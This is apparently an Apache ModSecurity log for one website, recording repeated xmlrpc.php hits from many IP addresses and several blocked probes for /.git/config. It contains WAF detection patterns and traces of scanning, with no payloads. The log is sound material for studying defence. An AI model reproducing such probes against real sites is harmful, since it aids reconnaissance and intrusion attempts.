[Mon Apr 13 17:14:23.599833 2026] [:error] [pid 57183:tid 57193] [client 180.93.52.173:56052] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyz7zDO3t8R5NaxzYTSjwAAAUg"]
[Mon Apr 13 17:20:57.511646 2026] [:error] [pid 63406:tid 63421] [client 5.189.168.141:59538] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady1ebHZEIkQ0Zmgp5oi_gAAAMo"]
[Mon Apr 13 17:22:50.335293 2026] [:error] [pid 63406:tid 63435] [client 122.164.223.183:52316] [client 122.164.223.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.164.223.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady16rHZEIkQ0Zmgp5okjgAAANg"]
[Mon Apr 13 17:23:00.497797 2026] [:error] [pid 63311:tid 63377] [client 122.164.223.183:52943] [client 122.164.223.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.164.223.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady19KHjrGN1MqBCVFnTewAAAIY"]
[Mon Apr 13 17:23:11.109212 2026] [:error] [pid 63311:tid 63385] [client 122.164.223.183:53389] [client 122.164.223.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.164.223.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady1_6HjrGN1MqBCVFnThAAAAI4"]
[Mon Apr 13 17:25:35.854674 2026] [:error] [pid 63406:tid 63426] [client 217.182.82.42:44906] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady2j7HZEIkQ0Zmgp5omDQAAAM8"]
[Mon Apr 13 17:28:49.572200 2026] [:error] [pid 63406:tid 63424] [client 188.165.95.76:45026] [client 188.165.95.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.165.95.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady3UbHZEIkQ0Zmgp5oo7QAAAM0"]
[Mon Apr 13 17:31:08.600760 2026] [:error] [pid 9314:tid 9326] [client 91.134.134.156:50566] [client 91.134.134.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.134.134.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady33G_r4W8fX2GWyGTRDQAAAYo"]
[Mon Apr 13 17:35:21.091114 2026] [:error] [pid 63310:tid 63365] [client 89.252.131.27:39226] [client 89.252.131.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.252.131.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady42XoXpRU5ztmwPjIzkgAAAFU"]
[Mon Apr 13 17:36:43.948298 2026] [:error] [pid 63310:tid 63352] [client 51.91.58.113:39220] [client 51.91.58.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.91.58.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady5K3oXpRU5ztmwPjIzvAAAAEg"]
[Mon Apr 13 17:44:01.822015 2026] [:error] [pid 9314:tid 9333] [client 138.2.231.152:48348] [client 138.2.231.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.2.231.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady64W_r4W8fX2GWyGTXZQAAAZE"]
[Mon Apr 13 17:45:21.832141 2026] [:error] [pid 7228:tid 7252] [client 192.99.70.8:34884] [client 192.99.70.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.99.70.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady7MQEnn1dQrOSHHNVkQgAAARY"]
[Mon Apr 13 17:55:11.700080 2026] [:error] [pid 63406:tid 63412] [client 46.182.4.125:42329] [client 46.182.4.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.182.4.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady9f7HZEIkQ0Zmgp5o8xAAAAME"]
[Mon Apr 13 17:56:05.117218 2026] [:error] [pid 57183:tid 57186] [client 51.38.230.115:35550] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady9tTDO3t8R5NaxzYTqlAAAAUE"]
[Mon Apr 13 18:00:39.445757 2026] [:error] [pid 57183:tid 57191] [client 223.233.77.246:8205] [client 223.233.77.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.77.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady-xzDO3t8R5NaxzYTsXgAAAUY"]
[Mon Apr 13 18:03:55.937536 2026] [:error] [pid 63406:tid 63422] [client 54.38.195.241:43986] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady_i7HZEIkQ0Zmgp5pA_QAAAMs"]
[Mon Apr 13 18:05:24.017882 2026] [:error] [pid 57183:tid 57193] [client 77.68.115.185:35468] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ady_5DDO3t8R5NaxzYTuIwAAAUg"]
[Mon Apr 13 18:06:50.718704 2026] [:error] [pid 57183:tid 57186] [client 5.135.142.201:34278] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.142.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzAOjDO3t8R5NaxzYTu_QAAAUE"]
[Mon Apr 13 18:07:52.764417 2026] [:error] [pid 9314:tid 9326] [client 207.154.197.201:56890] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzAeG_r4W8fX2GWyGTe0gAAAYo"]
[Mon Apr 13 18:13:05.637086 2026] [:error] [pid 63311:tid 63384] [client 194.182.64.134:43738] [client 194.182.64.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.182.64.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzBsaHjrGN1MqBCVFnerwAAAI0"]
[Mon Apr 13 18:14:04.792712 2026] [:error] [pid 63406:tid 63419] [client 159.223.103.141:54430] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzB7LHZEIkQ0Zmgp5pIJgAAAMg"]
[Mon Apr 13 18:24:09.759709 2026] [:error] [pid 63309:tid 63336] [client 54.37.239.214:44848] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzESUpIKZ10weXpf0UQVAAAABc"]
[Mon Apr 13 18:25:03.026764 2026] [:error] [pid 63311:tid 63372] [client 190.121.23.218:53146] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.121.23.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzEf6HjrGN1MqBCVFnhnQAAAIE"]
[Mon Apr 13 18:26:53.634116 2026] [:error] [pid 57183:tid 57197] [client 103.191.122.55:58569] [client 103.191.122.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.122.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzE7TDO3t8R5NaxzYT6QgAAAUw"]
[Mon Apr 13 18:27:02.193011 2026] [:error] [pid 63406:tid 63428] [client 103.191.122.55:58125] [client 103.191.122.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.122.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzE9rHZEIkQ0Zmgp5pTSgAAANE"]
[Mon Apr 13 18:27:12.725694 2026] [:error] [pid 63309:tid 63325] [client 103.191.122.55:58877] [client 103.191.122.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.122.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzFAEpIKZ10weXpf0UQnAAAAAw"]
[Mon Apr 13 18:28:12.174705 2026] [:error] [pid 9314:tid 9331] [client 45.227.163.112:34010] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzFPG_r4W8fX2GWyGTmgwAAAY8"]
[Mon Apr 13 18:30:31.295639 2026] [:error] [pid 63406:tid 63417] [client 213.160.75.126:51404] [client 213.160.75.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.75.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzFx7HZEIkQ0Zmgp5pVRgAAAMY"]
[Mon Apr 13 18:30:33.260318 2026] [:error] [pid 9314:tid 9328] [client 34.67.6.8:58600] [client 34.67.6.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.6.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzFyW_r4W8fX2GWyGTnjQAAAYw"]
[Mon Apr 13 18:33:04.086628 2026] [:error] [pid 63406:tid 63422] [client 185.74.81.105:50736] [client 185.74.81.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.81.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzGYLHZEIkQ0Zmgp5pW3gAAAMs"]
[Mon Apr 13 18:34:42.607988 2026] [:error] [pid 63310:tid 63365] [client 85.128.143.134:53958] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzGwnoXpRU5ztmwPjI-zQAAAFU"]
[Mon Apr 13 18:36:52.564152 2026] [:error] [pid 57183:tid 57206] [client 15.235.163.7:46920] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzHRDDO3t8R5NaxzYT_4AAAAVU"]
[Mon Apr 13 18:37:27.031744 2026] [:error] [pid 9314:tid 9319] [client 157.245.6.105:51044] [client 157.245.6.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.6.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzHZ2_r4W8fX2GWyGTqvAAAAYM"]
[Mon Apr 13 18:50:29.548460 2026] [:error] [pid 9314:tid 9323] [client 46.246.39.245:55846] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzKdW_r4W8fX2GWyGTvjAAAAYc"]
[Mon Apr 13 18:54:03.780084 2026] [:error] [pid 57183:tid 57198] [client 167.99.240.84:43710] [client 167.99.240.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.240.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzLSzDO3t8R5NaxzYQISwAAAU0"]
[Mon Apr 13 18:56:55.244897 2026] [:error] [pid 7228:tid 7246] [client 52.226.240.29:5824] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzL9wEnn1dQrOSHHNV29gAAARA"]
[Mon Apr 13 19:06:45.925564 2026] [:error] [pid 63310:tid 63366] [client 81.169.202.222:33470] [client 81.169.202.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.202.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzORXoXpRU5ztmwPjJGcQAAAFY"]
[Mon Apr 13 19:07:08.095405 2026] [:error] [pid 57183:tid 57208] [client 54.38.122.177:45886] [client 54.38.122.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.122.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzOXDDO3t8R5NaxzYQNrgAAAVc"]
[Mon Apr 13 19:13:49.728394 2026] [:error] [pid 57183:tid 57205] [client 143.59.233.44:10015] [client 143.59.233.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.59.233.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzP7TDO3t8R5NaxzYQQnQAAAVQ"]
[Mon Apr 13 19:13:59.196418 2026] [:error] [pid 63311:tid 63379] [client 143.59.233.44:44457] [client 143.59.233.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.59.233.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzP96HjrGN1MqBCVFns5QAAAIg"]
[Mon Apr 13 19:14:09.815991 2026] [:error] [pid 63406:tid 63422] [client 143.59.233.44:45034] [client 143.59.233.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.59.233.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzQAbHZEIkQ0Zmgp5pxDgAAAMs"]
[Mon Apr 13 19:21:56.257132 2026] [:error] [pid 63311:tid 63385] [client 146.190.84.203:51810] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.84.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzR1KHjrGN1MqBCVFnu6gAAAI4"]
[Mon Apr 13 19:23:41.100338 2026] [:error] [pid 7228:tid 7253] [client 54.38.122.177:40308] [client 54.38.122.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.122.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzSPQEnn1dQrOSHHNV9ggAAARc"]
[Mon Apr 13 19:24:55.189461 2026] [:error] [pid 9314:tid 9339] [client 45.32.194.177:53248] [client 45.32.194.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.32.194.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzSh2_r4W8fX2GWyGT7CAAAAZc"]
[Mon Apr 13 19:39:55.497082 2026] [:error] [pid 63311:tid 63382] [client 173.249.55.89:41750] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzWC6HjrGN1MqBCVFnzEQAAAIs"]
[Mon Apr 13 19:51:34.467596 2026] [:error] [pid 63311:tid 63386] [client 139.59.37.240:38940] [client 139.59.37.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.37.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzYxqHjrGN1MqBCVFn2bgAAAI8"]
[Mon Apr 13 20:03:36.245443 2026] [:error] [pid 63406:tid 63432] [client 137.184.69.218:26768] [client 137.184.69.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.69.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzbmLHZEIkQ0Zmgp5qRYAAAANU"]
[Mon Apr 13 20:07:22.813785 2026] [:error] [pid 63406:tid 63429] [client 67.73.243.12:52186] [client 67.73.243.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.73.243.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzcerHZEIkQ0Zmgp5qTvwAAANI"]
[Mon Apr 13 20:14:45.259186 2026] [:error] [pid 7228:tid 7252] [client 43.152.72.244:59872] [client 43.152.72.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adzeNQEnn1dQrOSHHNWOSwAAARY"]
[Mon Apr 13 20:17:52.745073 2026] [:error] [pid 63406:tid 63412] [client 159.203.177.184:48754] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adze8LHZEIkQ0Zmgp5qb0gAAAME"]
[Mon Apr 13 20:18:48.584767 2026] [:error] [pid 63406:tid 63431] [client 194.182.64.134:41980] [client 194.182.64.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.182.64.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzfKLHZEIkQ0Zmgp5qciAAAANQ"]
[Mon Apr 13 20:23:09.238964 2026] [:error] [pid 57183:tid 57197] [client 137.184.132.132:57794] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adzgLTDO3t8R5NaxzYQ1qwAAAUw"]
[Mon Apr 13 20:23:12.634122 2026] [:error] [pid 63406:tid 63428] [client 137.184.132.132:46374] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adzgMLHZEIkQ0Zmgp5qgDQAAANE"]
[Mon Apr 13 20:28:26.169791 2026] [:error] [pid 57183:tid 57195] [client 104.37.174.183:39844] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzhajDO3t8R5NaxzYQ3qAAAAUo"]
[Mon Apr 13 20:31:52.037128 2026] [:error] [pid 9314:tid 9316] [client 143.105.152.210:31347] [client 143.105.152.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.152.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adziOG_r4W8fX2GWyGQWFgAAAYA"]
[Mon Apr 13 20:32:01.161801 2026] [:error] [pid 57183:tid 57187] [client 143.105.152.210:65257] [client 143.105.152.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.152.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adziQTDO3t8R5NaxzYQ5aQAAAUI"]
